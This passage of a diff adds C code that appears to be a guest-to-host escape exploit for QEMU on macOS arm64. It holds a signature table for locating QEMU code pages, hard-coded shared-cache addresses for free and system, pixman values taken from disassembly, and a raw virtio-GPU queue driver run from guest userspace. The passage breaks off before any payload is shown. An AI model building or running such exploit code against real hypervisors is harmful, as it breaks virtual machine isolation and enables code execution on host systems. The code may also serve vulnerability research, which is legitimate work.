+ { 0x54000203f10102ffULL, 47 }, + { 0x54000221eb08013fULL, 178 }, + { 0x540002437100211fULL, 172 }, + { 0x540003006b0b015fULL, 326 }, + { 0x5400034072000d1fULL, 417 }, + { 0x54000362eb08031fULL, 278 }, + { 0x5400054071000e7fULL, 404 }, + { 0x540005c06b08001fULL, 522 }, + { 0x5400066931001d3fULL, 542 }, + { 0x54000aeceb18035fULL, 476 }, + { 0x540011233100fd5fULL, 4 }, + { 0x540020287100a2ffULL, 19 }, + { 0x540055e17100051fULL, 123 }, + { 0x54005b61eb09015fULL, 112 }, + { 0x5406d3a171001d1fULL, 398 }, + { 0x54ffed41f104017fULL, 237 }, + { 0x54ffff0171001129ULL, 368 }, + { 0x555f5345415f4553ULL, 659 }, + { 0x5ac00ac95ac00928ULL, 254 }, + { 0x5f3578346c32336dULL, 641 }, + { 0x5f656c6966206425ULL, 691 }, + { 0x5f656d766e206f72ULL, 657 }, + { 0x5f6d7265705f7465ULL, 687 }, + { 0x5f70635f74656700ULL, 699 }, + { 0x5f7364736666646cULL, 701 }, + { 0x5f79726575715f72ULL, 709 }, + { 0x6120737463656c65ULL, 673 }, + { 0x61685f6b636f7362ULL, 711 }, + { 0x61705f6d756e2078ULL, 705 }, + { 0x61725f7465675f63ULL, 652 }, + { 0x6174615f65646900ULL, 646 }, + { 0x62006675625f7265ULL, 689 }, + { 0x625f627375006c74ULL, 667 }, + { 0x635f776f63715f6bULL, 685 }, + { 0x636f6c625f6e6570ULL, 694 }, + { 0x6425207325206f69ULL, 710 }, + { 0x6465766965636572ULL, 678 }, + { 0x646e6f635f65636eULL, 718 }, + { 0x655f676374210073ULL, 698 }, + { 0x656d69745f72656dULL, 665 }, + { 0x65767300645f697aULL, 700 }, + { 0x6765727379732064ULL, 695 }, + { 0x6964007265747369ULL, 716 }, + { 0x69665f6e6f697465ULL, 677 }, + { 0x69666e6f635f6574ULL, 642 }, + { 0x696d657300616c6cULL, 636 }, + { 0x6a21011f52a01808ULL, 400 }, + { 0x6b02011f7974c268ULL, 142 }, + { 0x6b0202df37f800f7ULL, 500 }, + { 0x6c6176206d75736bULL, 653 }, + { 0x6d4b23e954fff963ULL, 386 }, + { 0x6d686769682e7765ULL, 696 }, + { 0x6e695f646d635f73ULL, 647 }, + { 0x6e755f6574697277ULL, 713 }, + { 0x6f00e40091112008ULL, 103 }, + { 0x6f206b636f6c6266ULL, 692 }, + { 0x6f742027303d6675ULL, 674 }, + { 0x6f7420656c626174ULL, 638 }, + { 0x6fa008c14f10a4e7ULL, 387 }, + { 0x70670036486f6970ULL, 697 }, + { 0x706f326270615f64ULL, 671 }, + { 0x706f5f646e657070ULL, 634 }, + { 0x7100011f2a1a0288ULL, 561 }, + { 0x71000508340003a8ULL, 510 }, + { 0x7100050834000428ULL, 507 }, + { 0x7100053fb9404269ULL, 16 }, + { 0x7100091f540004a0ULL, 80 }, + { 0x7100111f12001c28ULL, 5 }, + { 0x7100111f54000560ULL, 310 }, + { 0x7100439f4b1b011cULL, 22 }, + { 0x710073656974696cULL, 717 }, + { 0x7100e15f1100096bULL, 13 }, + { 0x7101a5ff54fffe40ULL, 235 }, + { 0x72000d3f3940e509ULL, 350 }, + { 0x721f015f33001d6dULL, 342 }, + { 0x72206c6c69772072ULL, 690 }, + { 0x7267696d20656220ULL, 706 }, + { 0x72a0004852840008ULL, 322 }, + { 0x72a0500952800069ULL, 89 }, + { 0x7325000a78252074ULL, 663 }, + { 0x732527207361696cULL, 676 }, + { 0x7369005832302578ULL, 664 }, + { 0x736961725f656c62ULL, 712 }, + { 0x73756e755f6c6c75ULL, 668 }, + { 0x74617267696d2077ULL, 707 }, + { 0x746e657478652064ULL, 648 }, + { 0x747369676572206dULL, 702 }, + { 0x7473696c206f7420ULL, 675 }, + { 0x747369746174732dULL, 681 }, + { 0x757320746f6e2073ULL, 693 }, + { 0x75746361202c7525ULL, 670 }, + { 0x77206769666e6f63ULL, 651 }, + { 0x775f63616d655f69ULL, 655 }, + { 0x78336a8f8a150273ULL, 58 }, + { 0x7869682af869684bULL, 450 }, + { 0x79400108910be108ULL, 616 }, + { 0x7940020eaa1003e2ULL, 10 }, + { 0x7940090879400a8bULL, 115 }, + { 0x79400e8ef86d590dULL, 378 }, + { 0x79401be8b9001be8ULL, 105 }, + { 0x7942810017ffffeaULL, 311 }, + { 0x7942cbefb94163eeULL, 109 }, + { 0x7a3630252e757a25ULL, 661 }, + { 0x7c6666666666dc00ULL, 735 }, + { 0x8a1402730b0f0034ULL, 56 }, + { 0x8a2c01acf86b6b0dULL, 125 }, + { 0x8b0101638b080162ULL, 410 }, + { 0x8b010231aa040021ULL, 516 }, + { 0x8b0801868b020185ULL, 245 }, + { 0x8b0801a78b0901a6ULL, 434 }, + { 0x8b0822e811000aa8ULL, 370 }, + { 0x8b090100927de54aULL, 492 }, + { 0x8b0a012a54ffff28ULL, 52 }, + { 0x8b0a031a5283fa0aULL, 90 }, + { 0x8b0b094a7869790bULL, 339 }, + { 0x8b1702d6aa0003f5ULL, 571 }, + { 0x8b19026134fffce0ULL, 381 }, + { 0x900016e8910143fdULL, 588 }, + { 0x90001848910143fdULL, 577 }, + { 0x90001b28910083fdULL, 554 }, + { 0x90001c89f94007e8ULL, 543 }, + { 0x90002188aa0103f5ULL, 503 }, + { 0x90002aa8540001a0ULL, 422 }, + { 0x90002b884e040e60ULL, 415 }, + { 0x90002f18913b4117ULL, 321 }, + { 0x90003988b90013e8ULL, 301 }, + { 0x90004184913a8c42ULL, 136 }, + { 0x900046e0f90003e1ULL, 78 }, + { 0x9000b016b40001c2ULL, 230 }, + { 0x9000b0a8aa0003f3ULL, 225 }, + { 0x910021218b080000ULL, 391 }, + { 0x910022e911002308ULL, 394 }, + { 0x91003c0090000b00ULL, 618 }, + { 0x910043e19412ff9cULL, 327 }, + { 0x910043e291148421ULL, 553 }, + { 0x910043fda9017bfdULL, 38 }, + { 0x9100800c91000c6bULL, 447 }, + { 0x910081309100800eULL, 459 }, + { 0x9100837bf000bd5bULL, 122 }, + { 0x910083fda9027bfdULL, 373 }, + { 0x9100a268f9001c09ULL, 192 }, + { 0x9100c3fda9037bfdULL, 420 }, + { 0x91015c21d0002501ULL, 406 }, + { 0x910183e117ffffe9ULL, 485 }, + { 0x910183ffa9444ff4ULL, 187 }, + { 0x9101c3e8dac00d00ULL, 486 }, + { 0x910203ffa9426ffcULL, 46 }, + { 0x9102e08490003f64ULL, 159 }, + { 0x910303fda90c7bfdULL, 146 }, + { 0x910401019278dd08ULL, 171 }, + { 0x910402818b082260ULL, 468 }, + { 0x9105112990000009ULL, 215 }, + { 0x91063009f9008ee9ULL, 323 }, + { 0x910c0821b00009e1ULL, 610 }, + { 0x910efc00b00040c0ULL, 145 }, + { 0x910f42b59000b295ULL, 210 }, + { 0x910f8063d00029a3ULL, 300 }, + { 0x91121d018b080268ULL, 179 }, + { 0x9117e000d0009720ULL, 424 }, + { 0x9117e000d00098a0ULL, 412 }, + { 0x9118a421b00009c1ULL, 609 }, + { 0x911df021b0004421ULL, 93 }, + { 0x9120d908b0008368ULL, 585 }, + { 0x91217c21b00009e1ULL, 611 }, + { 0x9122635ab000081aULL, 575 }, + { 0x91226400d0004b40ULL, 36 }, + { 0x9124c021f0004ba1ULL, 32 }, + { 0x9125a884900044e4ULL, 100 }, + { 0x91269908d0007f28ULL, 619 }, + { 0x912aac63f0003583ULL, 258 }, + { 0x912ba463b0003363ULL, 281 }, + { 0x912ef863d0001823ULL, 512 }, + { 0x9132b108f00046e8ULL, 77 }, + { 0x91360000d0000b00ULL, 629 }, + { 0x9136e108d00081e8ULL, 597 }, + { 0x9136e108d0008388ULL, 584 }, + { 0x9136e108d000ace8ULL, 253 }, + { 0x913b8821f0003de1ULL, 149 }, + { 0x913b9084b0003f24ULL, 133 }, + { 0x913dac21b0004ec1ULL, 3 }, + { 0x913dfad6d0003436ULL, 217 }, + { 0x913fbc00b0003540ULL, 261 }, + { 0x9140440a72a00029ULL, 55 }, + { 0x92401e8814000005ULL, 582 }, + { 0x927df1088b090108ULL, 388 }, + { 0x927df1298b0a0129ULL, 366 }, + { 0x92800808b9024668ULL, 191 }, + { 0x94000108aa1303e0ULL, 559 }, + { 0x940003e1d2800003ULL, 548 }, + { 0x9400164154004ae1ULL, 356 }, + { 0x94002023d2800000ULL, 18 }, + { 0x9400392c8b170260ULL, 329 }, + { 0x9400adc3b5000a88ULL, 257 }, + { 0x9400e13faa1503e1ULL, 382 }, + { 0x94014f7caa1503e4ULL, 536 }, + { 0x9401b0f9aa1403e0ULL, 530 }, + { 0x9403659017deb622ULL, 576 }, + { 0x94037a38910ca260ULL, 506 }, + { 0x9403e24952836203ULL, 168 }, + { 0x9404d4dc528009a3ULL, 153 }, + { 0x9405f1bcaa1403e0ULL, 134 }, + { 0x9408359017ffff73ULL, 499 }, + { 0x9408405c54000040ULL, 97 }, + { 0x940a4db5aa1703e2ULL, 466 }, + { 0x940ba4dc528003c3ULL, 44 }, + { 0x940fb1c152800004ULL, 40 }, + { 0x9411a60c52801042ULL, 280 }, + { 0x9417955c8b160261ULL, 131 }, + { 0x941b6fb354ffef83ULL, 155 }, + { 0x9420c590941dc4cdULL, 106 }, + { 0x942187618b080280ULL, 30 }, + { 0x94223e2b94223e36ULL, 26 }, + { 0x9424f8e152800600ULL, 39 }, + { 0x97e070eb52800045ULL, 520 }, + { 0x97e6c48aaa0003f6ULL, 601 }, + { 0x97ee8d6491262063ULL, 614 }, + { 0x97eea422aa1903e0ULL, 508 }, + { 0x97eed0a3aa1403e2ULL, 325 }, + { 0x97ef0e52aa1703e5ULL, 482 }, + { 0x97ef442452801c23ULL, 498 }, + { 0x97ef7239f94023e1ULL, 315 }, + { 0x97f54430aa0003f5ULL, 407 }, + { 0x97f568c3f9400261ULL, 408 }, + { 0x97f91729f9424660ULL, 156 }, + { 0x97f962f152804402ULL, 345 }, + { 0x97fa7e9a9126494aULL, 620 }, + { 0x97fb2c62aa1603e1ULL, 306 }, + { 0x97fb6424aa1c03e4ULL, 304 }, + { 0x97fbe35b97fb5205ULL, 627 }, + { 0x97fd134852800000ULL, 233 }, + { 0x97fe31709126b000ULL, 593 }, + { 0x97fe5a44f9401663ULL, 291 }, + { 0x97fe7a01aa1503e1ULL, 363 }, + { 0x97feaacc52800043ULL, 360 }, + { 0x97feb9edb9400260ULL, 359 }, + { 0x97ff490bf9000fe8ULL, 380 }, + { 0x97ff77a4f81b83a8ULL, 170 }, + { 0x97ffc9f1aa1303e1ULL, 34 }, + { 0x97ffd3cdaa1403e5ULL, 467 }, + { 0x97fff0ef52800001ULL, 24 }, + { 0x97ffff5a52800023ULL, 199 }, + { 0x9a89b149eb09015fULL, 213 }, + { 0x9ad52108b8b36908ULL, 493 }, + { 0xa8c17bfd39031408ULL, 317 }, + { 0xa8c17bfd3c83c100ULL, 87 }, + { 0xa8c17bfda90f7c1fULL, 558 }, + { 0xa8c24ff4a9417bfdULL, 265 }, + { 0xa90003f7913d4084ULL, 33 }, + { 0xa90087e291071108ULL, 309 }, + { 0xa900cff697fff307ULL, 262 }, + { 0xa9012be9f9402beaULL, 117 }, + { 0xa9014ff4d100c3ffULL, 544 }, + { 0xa90167fad10183ffULL, 264 }, + { 0xa9017bfda9be4ff4ULL, 557 }, + { 0xa90253f597e3f958ULL, 592 }, + { 0xa9025ff8a90167faULL, 130 }, + { 0xa9027bfda9014ff4ULL, 48 }, + { 0xa90357f6d10183ffULL, 556 }, + { 0xa9038fe4aa0503f9ULL, 494 }, + { 0xa9044ff4d10183ffULL, 604 }, + { 0xa9045ff8a90367faULL, 15 }, + { 0xa9057bfda9044ff4ULL, 175 }, + { 0xa9064ff4a90557f6ULL, 162 }, + { 0xa90653f61a890528ULL, 273 }, + { 0xa90857f6a9075ff8ULL, 444 }, + { 0xa9095ff8a90867faULL, 284 }, + { 0xa91c4ff4a91b57f6ULL, 484 }, + { 0xa9414ff4a9427bfdULL, 362 }, + { 0xa94157f6a9424ff4ULL, 185 }, + { 0xa9417bfd52800000ULL, 229 }, + { 0xa9417bfdaa1303e1ULL, 17 }, + { 0xa94257f6a9434ff4ULL, 198 }, + { 0xa9427bfd17fffff3ULL, 259 }, + { 0xa9427bfdaa1303e3ULL, 244 }, + { 0xa9427bfdb900e688ULL, 148 }, + { 0xa9434ff4a9447bfdULL, 232 }, + { 0xa94357f6a9444ff4ULL, 279 }, + { 0xa9437bfd52800006ULL, 361 }, + { 0xa9444ff4a9457bfdULL, 402 }, + { 0xa9454ff4a9467bfdULL, 218 }, + { 0xa9464ff4a9477bfdULL, 111 }, + { 0xa9484ff4a9497bfdULL, 443 }, + { 0xa94a7bfdaa1303e2ULL, 177 }, + { 0xa94b7bfd540007e1ULL, 28 }, + { 0xa95c7bfd54001221ULL, 441 }, + { 0xa9be4ff417fff7f6ULL, 239 }, + { 0xa9bf7bfd9400f57cULL, 615 }, + { 0xa9bf7bfd9401e6d2ULL, 600 }, + { 0xa9bf7bfd97f904efULL, 617 }, + { 0xaa0003e197e7f399ULL, 389 }, + { 0xaa0003e197ead425ULL, 569 }, + { 0xaa0003e894000574ULL, 277 }, + { 0xaa0003e9aa0303e8ULL, 337 }, + { 0xaa0003f397f49431ULL, 418 }, + { 0xaa0003f3aa0103f4ULL, 348 }, + { 0xaa0003f3f9422008ULL, 76 }, + { 0xaa0003f4aa0103f3ULL, 602 }, + { 0xaa0003f597fb5fbfULL, 303 }, + { 0xaa0003f694177dcaULL, 181 }, + { 0xaa0003f7a904ffffULL, 79 }, + { 0xaa0003f7aa0103f5ULL, 221 }, + { 0xaa0003f897f44401ULL, 423 }, + { 0xaa0003fcaa0103f7ULL, 473 }, + { 0xaa0103efaa0203eeULL, 14 }, + { 0xaa0103f536380268ULL, 606 }, + { 0xaa0103f5aa0203f4ULL, 397 }, + { 0xaa0203e1aa0103e0ULL, 338 }, + { 0xaa0303f4aa0403f3ULL, 51 }, + { 0xaa0303f5910083fdULL, 529 }, + { 0xaa0403e8910003fdULL, 354 }, + { 0xaa0403f6aa0303f3ULL, 86 }, + { 0xaa0903ee9100806dULL, 496 }, + { 0xaa0a03e1aa0b03e0ULL, 411 }, + { 0xaa1303e034000660ULL, 534 }, + { 0xaa1303e054000061ULL, 552 }, + { 0xaa1303e09137b884ULL, 184 }, + { 0xaa1303e0913db484ULL, 49 }, + { 0xaa1303e093407d02ULL, 25 }, + { 0xaa1303e0b4fffee1ULL, 236 }, + { 0xaa1303e0f9400101ULL, 240 }, + { 0xaa1303e0f9403288ULL, 385 }, + { 0xaa1303e252800021ULL, 205 }, + { 0xaa1303e3aa1403e0ULL, 527 }, + { 0xaa1303e3aa1403e2ULL, 214 }, + { 0xaa1403e014000012ULL, 546 }, + { 0xaa1403e09119f821ULL, 551 }, + { 0xaa1403e1910cc2a0ULL, 70 }, + { 0xaa1503e1aa1403e0ULL, 537 }, + { 0xaa1503e1f9411e60ULL, 270 }, + { 0xaa1503e3d2800001ULL, 533 }, + { 0xaa1503e552800024ULL, 479 }, + { 0xaa1503e6d2800005ULL, 223 }, + { 0xaa1603e034000200ULL, 246 }, + { 0xaa1603e1aa1503e0ULL, 110 }, + { 0xaa1703e0aa0003f3ULL, 307 }, + { 0xaa1703e18b082260ULL, 470 }, + { 0xaa1703e2aa1303e1ULL, 263 }, + { 0xaa1703e5aa1b03e2ULL, 124 }, + { 0xaa1703eaa9036bf6ULL, 121 }, + { 0xaa1a03e091026281ULL, 331 }, + { 0xab0d014aa9414051ULL, 509 }, + { 0xad400520910fe269ULL, 98 }, + { 0xb00003639128e821ULL, 608 }, + { 0xb0003204911cac63ULL, 294 }, + { 0xb00083a8f81f83a8ULL, 583 }, + { 0xb40000609419cf81ULL, 150 }, + { 0xb40004691400004aULL, 166 }, + { 0xb5000108f9407e68ULL, 312 }, + { 0xb5fffd96aa1603e8ULL, 563 }, + { 0xb85603a9350061a8ULL, 107 }, + { 0xb86a69295289a00aULL, 85 }, + { 0xb9002509b9001909ULL, 212 }, + { 0xb9005a9fb9002295ULL, 23 }, + { 0xb9049d288b090269ULL, 157 }, + { 0xb90725c812003528ULL, 68 }, + { 0xb90c001f540003c0ULL, 176 }, + { 0xb92c201314000002ULL, 515 }, + { 0xb94000049404657fULL, 560 }, + { 0xb940026836700060ULL, 164 }, + { 0xb94002aa8b34cd55ULL, 302 }, + { 0xb94002c8d65f03c0ULL, 547 }, + { 0xb9400ac979007268ULL, 504 }, + { 0xb9401008b40000a0ULL, 260 }, + { 0xb9401836aa0103f3ULL, 207 }, + { 0xb94027e879003aa8ULL, 274 }, + { 0xb9402fe1aa1903e0ULL, 483 }, + { 0xb9406e8437f80f00ULL, 250 }, + { 0xb9444a6894000288ULL, 99 }, + { 0xc514d49de606f78fULL, 764 }, + { 0xcb010117f9401008ULL, 266 }, + { 0xcb0603e414000009ULL, 383 }, + { 0xd00005a39119d821ULL, 594 }, + { 0xd00020e19118f800ULL, 439 }, + { 0xd0004082912cbc21ULL, 147 }, + { 0xd0007e0834000308ULL, 628 }, + { 0xd00081a834000328ULL, 599 }, + { 0xd0009600f940016cULL, 433 }, + { 0xd000b4e1b40185a0ULL, 189 }, + { 0xd000c6e81400001eULL, 45 }, + { 0xd000c98836381408ULL, 21 }, + { 0xd100051bf94023e8ULL, 202 }, + { 0xd1002116b4fffec9ULL, 464 }, + { 0xd10143ffd65f03c0ULL, 231 }, + { 0xd10203a0a9387fbfULL, 140 }, + { 0xd10343ffd65f03c0ULL, 195 }, + { 0xd10c002814000016ULL, 71 }, + { 0xd2800000a8c17bfdULL, 336 }, + { 0xd28000011a9f17e0ULL, 127 }, + { 0xd28000019100a3e0ULL, 139 }, + { 0xd28000019100c3ffULL, 256 }, + { 0xd2800001a8c17bfdULL, 396 }, + { 0xd2800002540001c8ULL, 12 }, + { 0xd280000291026101ULL, 497 }, + { 0xd280000352800002ULL, 183 }, + { 0xd2800003aa1703e2ULL, 521 }, + { 0xd2800005d2800004ULL, 7 }, + { 0xd2800008540006e0ULL, 330 }, + { 0xd280000891268021ULL, 224 }, + { 0xd2800008a8c17bfdULL, 27 }, + { 0xd2800008a8c24ff4ULL, 564 }, + { 0xd2800008d2800004ULL, 276 }, + { 0xd2800008d2800005ULL, 271 }, + { 0xd2800008d61f0000ULL, 186 }, + { 0xd280000d54000062ULL, 11 }, + { 0xd280000dd280000cULL, 54 }, + { 0xd280000fd280000eULL, 429 }, + { 0xd2800019aa0003f7ULL, 228 }, + { 0xd2c0010854000ac3ULL, 316 }, + { 0xd346ff69b4000168ULL, 489 }, + { 0xd358fdcc531f7d6bULL, 367 }, + { 0xd37ef52acb090108ULL, 455 }, + { 0xd61f0040d2800009ULL, 152 }, + { 0xd61f01608b0c096bULL, 53 }, + { 0xd61f0200f946d210ULL, 631 }, + { 0xd63f0160f940000bULL, 352 }, + { 0xd65f03c0d2800004ULL, 160 }, + { 0xd65f03c0d2800008ULL, 296 }, + { 0xd65f03c0d280000aULL, 283 }, + { 0xd65f03c0d280000dULL, 452 }, + { 0xeb0802bff94017e8ULL, 495 }, + { 0xeb0a013f52a0800aULL, 344 }, + { 0xeb0b019ff940018cULL, 9 }, + { 0xeb0e019fb8ad682eULL, 460 }, + { 0xeb13011fb4000368ULL, 567 }, + { 0xeb1902bf14000003ULL, 474 }, + { 0xf00008a097e329bcULL, 587 }, + { 0xf0000aa0a9007ff3ULL, 623 }, + { 0xf0002f4491326042ULL, 318 }, + { 0xf0003e2117ffffd6ULL, 137 }, + { 0xf0003f639102a821ULL, 158 }, + { 0xf0004301aa1303e0ULL, 119 }, + { 0xf00095a1aa0003e8ULL, 405 }, + { 0xf000aa8a91081529ULL, 169 }, + { 0xf000b13b5282eb1aULL, 219 }, + { 0xf100111f93c80908ULL, 95 }, + { 0xf102029ff9000408ULL, 251 }, + { 0xf81f83a8f9400108ULL, 624 }, + { 0xf85d83a8b9000274ULL, 574 }, + { 0xf85e01ae540006e0ULL, 458 }, + { 0xf85e83a897fc3171ULL, 625 }, + { 0xf85e83a897fc7171ULL, 621 }, + { 0xf900027497fe7171ULL, 589 }, + { 0xf90007e8f9400108ULL, 289 }, + { 0xf9000be8910043a8ULL, 180 }, + { 0xf9000bffb4000420ULL, 267 }, + { 0xf9003a8891352508ULL, 151 }, + { 0xf9005668913e8108ULL, 92 }, + { 0xf940000bd63f0160ULL, 355 }, + { 0xf9400029911fe021ULL, 425 }, + { 0xf940010191350108ULL, 409 }, + { 0xf9400118f9431e69ULL, 194 }, + { 0xf940014b9125614aULL, 431 }, + { 0xf940018e3607ff6eULL, 456 }, + { 0xf94001ae911b21adULL, 426 }, + { 0xf9400500f9401268ULL, 226 }, + { 0xf940068954fff9abULL, 132 }, + { 0xf9400798340002c0ULL, 513 }, + { 0xf94007e0aa0003e8ULL, 531 }, + { 0xf940094bf940186aULL, 234 }, + { 0xf9400aa8d50339bfULL, 505 }, + { 0xf9400fe0940002f2ULL, 201 }, + { 0xf9401129b6f8018aULL, 272 }, + { 0xf94013e9f9400108ULL, 269 }, + { 0xf940166094188bc8ULL, 118 }, + { 0xf9401908fd001520ULL, 197 }, + { 0xf9402e68f94006d7ULL, 288 }, + { 0xf9403008941b259aULL, 161 }, + { 0xf94033e2d2800001ULL, 324 }, + { 0xf94037f9a902ebf8ULL, 141 }, + { 0xf9405400aa0003f3ULL, 42 }, + { 0xf941890890005628ULL, 82 }, + { 0xf9418929900015a9ULL, 598 }, + { 0xf941892990001689ULL, 591 }, + { 0xf941892990001809ULL, 579 }, + { 0xf9418929900018c9ULL, 573 }, + { 0xf9419668b8385b28ULL, 75 }, + { 0xf941d821d0007401ULL, 632 }, + { 0xf942a8091ac82128ULL, 129 }, + { 0xf9444ad334000140ULL, 196 }, + { 0xf945a500f000c8a8ULL, 31 }, + { 0xf947fe6b912e6021ULL, 341 }, + { 0xf94e9a6097fb5780ULL, 120 }, + { 0xfd408522f0003349ULL, 349 }, + { 0xffffff09ffffff08ULL, 719 }, + { 0xffffffffffffffffULL, 736 }, +}; +#define N_QEMU_SIGS (sizeof(qemu_sigs) / sizeof(qemu_sigs[0])) +#define QEMU_TEXT_PAGES 771 + +static int qemu_sig_lookup(uint64_t sig) +{ + int lo = 0, hi = N_QEMU_SIGS - 1; + while (lo <= hi) { + int mid = (lo + hi) / 2; + if (qemu_sigs[mid].sig == sig) + return qemu_sigs[mid].page_idx; + if (qemu_sigs[mid].sig < sig) + lo = mid + 1; + else + hi = mid - 1; + } + return -1; +} + +/* Unslid shared cache addresses (macOS 15.x arm64) */ +#define FREE_UNSLID 0x1802E36B8ULL +#define SYSTEM_UNSLID 0x1803F4438ULL + +/* pixman fast_path_t wildcard values (verified from disassembly) */ +#define PIXMAN_OP_ANY_VAL 0x40U +#define PIXMAN_OP_NONE_VAL 0x3FU +#define PIXMAN_FMT_ANY_VAL 0x50000U + +/* ---------- Raw virtio transport ---------- */ + +static volatile void *common_cfg; +static volatile void *notify_base; +static uint32_t notify_off_multiplier; +static uint16_t queue_notify_off; + +static void *vq_pages; +static struct vring_desc *descs; +static struct vring_avail *avail; +static struct vring_used *used; +static uint64_t desc_pa, avail_pa, used_pa; +static uint16_t vq_size; +static uint16_t avail_idx; +static uint16_t used_last; + +static void *cmd_region; +static uint64_t cmd_region_pa; +static void *resp_region; +static uint64_t resp_region_pa; +static void *data_region; +static uint64_t data_region_pa; + +static inline void write8(volatile void *addr, uint8_t val) { *(volatile uint8_t *)addr = val; } +static inline void write16(volatile void *addr, uint16_t val) { *(volatile uint16_t *)addr = val; } +static inline void write32(volatile void *addr, uint32_t val) { *(volatile uint32_t *)addr = val; } +static inline uint8_t read8(volatile void *addr) { return *(volatile uint8_t *)addr; } +static inline uint16_t read16(volatile void *addr) { return *(volatile uint16_t *)addr; } +static inline uint32_t read32(volatile void *addr) { return *(volatile uint32_t *)addr; } + +static void kick_queue(void) +{ + __sync_synchronize(); + write16(notify_base + queue_notify_off * notify_off_multiplier, 0); +} + +static int vq_send_cmd(void *cmd, uint32_t cmd_len, + void *resp, uint32_t resp_len) +{ + uint16_t idx = avail_idx; + + memcpy(cmd_region, cmd, cmd_len); + memset(resp_region, 0, resp_len); + + descs[0].addr = cmd_region_pa; + descs[0].len = cmd_len; + descs[0].flags = VRING_DESC_F_NEXT; + descs[0].next = 1; + + descs[1].addr = resp_region_pa; + descs[1].len = resp_len; + descs[1].flags = VRING_DESC_F_WRITE; + descs[1].next = 0; + + __sync_synchronize(); + avail->ring[idx % vq_size] = 0; + __sync_synchronize(); + avail->idx = idx + 1; + avail_idx = idx + 1; + + kick_queue(); + + int spins = 0; + while (used->idx == used_last) { + __sync_synchronize(); + if (++spins > 100000000) { + printf(" [!] Timeout waiting for response\n"); + return -1; + } + } + used_last = used->idx; + + memcpy(resp, (void *)resp_region, resp_len); + return 0; +} + +static int vq_send_cmd_data(void *cmd, uint32_t cmd_len, + void *extra, uint32_t extra_len, + void *resp, uint32_t resp_len) +{ + uint16_t idx = avail_idx; + + memcpy(cmd_region, cmd, cmd_len); + memcpy(data_region, extra, extra_len); + memset(resp_region, 0, resp_len); + + descs[0].addr = cmd_region_pa; + descs[0].len = cmd_len; + descs[0].flags = VRING_DESC_F_NEXT; + descs[0].next = 1; + + descs[1].addr = data_region_pa; + descs[1].len = extra_len; + descs[1].flags = VRING_DESC_F_NEXT; + descs[1].next = 2; + + descs[2].addr = resp_region_pa; + descs[2].len = resp_len; + descs[2].flags = VRING_DESC_F_WRITE; + descs[2].next = 0; + + __sync_synchronize(); + avail->ring[idx % vq_size] = 0; + __sync_synchronize(); + avail->idx = idx + 1; + avail_idx = idx + 1; + + kick_queue(); + + int spins = 0; + while (used->idx == used_last) { + __sync_synchronize(); + if (++spins > 100000000) { + printf(" [!] Timeout waiting for response\n"); + return -1; + } + } + used_last = used->idx; + + memcpy(resp, (void *)resp_region, resp_len); + return 0; +} + +static int find_virtio_gpu_pci(char *path, size_t pathlen) +{ + DIR *d = opendir("/sys/bus/pci/devices"); + struct dirent *ent; + char buf[256]; + int fd; + uint32_t vendor, device; + + if (!d) return -1; + + while ((ent = readdir(d)) != NULL) { + if (ent->d_name[0] == '.') continue; + + snprintf(buf, sizeof(buf), "/sys/bus/pci/devices/%s/vendor", ent->d_name); + fd = open(buf, O_RDONLY); + if (fd < 0) continue; + char vbuf[16] = {}; + read(fd, vbuf, sizeof(vbuf)-1); + close(fd); + vendor = strtoul(vbuf, NULL, 0); + + snprintf(buf, sizeof(buf), "/sys/bus/pci/devices/%s/device", ent->d_name); + fd = open(buf, O_RDONLY); + if (fd < 0) continue; + char dbuf[16] = {}; + read(fd, dbuf, sizeof(dbuf)-1); + close(fd); + device = strtoul(dbuf, NULL, 0); + + if (vendor == VIRTIO_PCI_VENDOR_ID && + (device == VIRTIO_GPU_DEVICE_ID || device == 0x1010)) { + snprintf(path, pathlen, "/sys/bus/pci/devices/%s", ent->d_name); + closedir(d); + return 0; + } + } + closedir(d); + return -1; +} + +static uint64_t virt_to_phys(void *vaddr) +{ + int fd = open("/proc/self/pagemap", O_RDONLY); + if (fd < 0) return 0; + + uint64_t vpn = (uint64_t)vaddr / 4096; + uint64_t entry; + if (pread(fd, &entry, 8, vpn * 8) != 8) { + close(fd); + return 0; + } + close(fd); + + if (!(entry & (1ULL << 63))) return 0; + uint64_t pfn = entry & ((1ULL << 55) - 1); + return pfn * 4096 + ((uint64_t)vaddr & 0xFFF); +} + +static void *map_bar(const char *pci_path, int bar_idx, size_t *out_size) +{ + char path[512]; + snprintf(path, sizeof(path), "%s/resource%d", pci_path, bar_idx); + + int fd = open(path, O_RDWR | O_SYNC); + if (fd < 0) { + printf(" Cannot open %s: %s\n", path, strerror(errno)); + return NULL; + } + + off_t size = lseek(fd, 0, SEEK_END); + if (size <= 0) { close(fd); return NULL; } + + void *map = mmap(NULL, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); + close(fd); + if (map == MAP_FAILED) return NULL; + + if (out_size) *out_size = size; + return map; +} + +static int parse_virtio_caps(const char *pci_path) +{ + char path[512]; + snprintf(path, sizeof(path), "%s/config", pci_path); + + int fd = open(path, O_RDWR); + if (fd < 0) { + printf(" Cannot open PCI config: %s\n", strerror(errno)); + return -1; + } + + uint8_t cap_ptr; + pread(fd, &cap_ptr, 1, 0x34); + + int common_bar = -1, common_offset = 0; + int notify_bar = -1, notify_offset = 0; + + while (cap_ptr) { + uint8_t cap_id, cap_next; + pread(fd, &cap_id, 1, cap_ptr); + pread(fd, &cap_next, 1, cap_ptr + 1); + + if (cap_id == 0x09) { + uint8_t cfg_type, bar; + uint32_t offset, length; + pread(fd, &cfg_type, 1, cap_ptr + 3); + pread(fd, &bar, 1, cap_ptr + 4); + pread(fd, &offset, 4, cap_ptr + 8); + pread(fd, &length, 4, cap_ptr + 12); + + if (cfg_type == 1) { + common_bar = bar; + common_offset = offset; + printf(" Common config: BAR%d offset=0x%x len=0x%x\n", + bar, offset, length); + } else if (cfg_type == 2) { + notify_bar = bar; + notify_offset = offset; + pread(fd, ¬ify_off_multiplier, 4, cap_ptr + 16); + printf(" Notify: BAR%d offset=0x%x multiplier=%u\n", + bar, offset, notify_off_multiplier); + } + } + cap_ptr = cap_next; + } + close(fd); + + if (common_bar < 0 || notify_bar < 0) { + printf(" Missing virtio PCI capabilities\n"); + return -1; + } + + size_t bar_size; + void *bar_map = map_bar(pci_path, common_bar, &bar_size); + if (!bar_map) { + printf(" Failed to map BAR%d\n", common_bar); + return -1; + } + common_cfg = (uint8_t *)bar_map + common_offset; + + if (notify_bar == common_bar) { + notify_base = (uint8_t *)bar_map + notify_offset; + } else { + void *nbar = map_bar(pci_path, notify_bar, NULL); + if (!nbar) return -1; + notify_base = (uint8_t 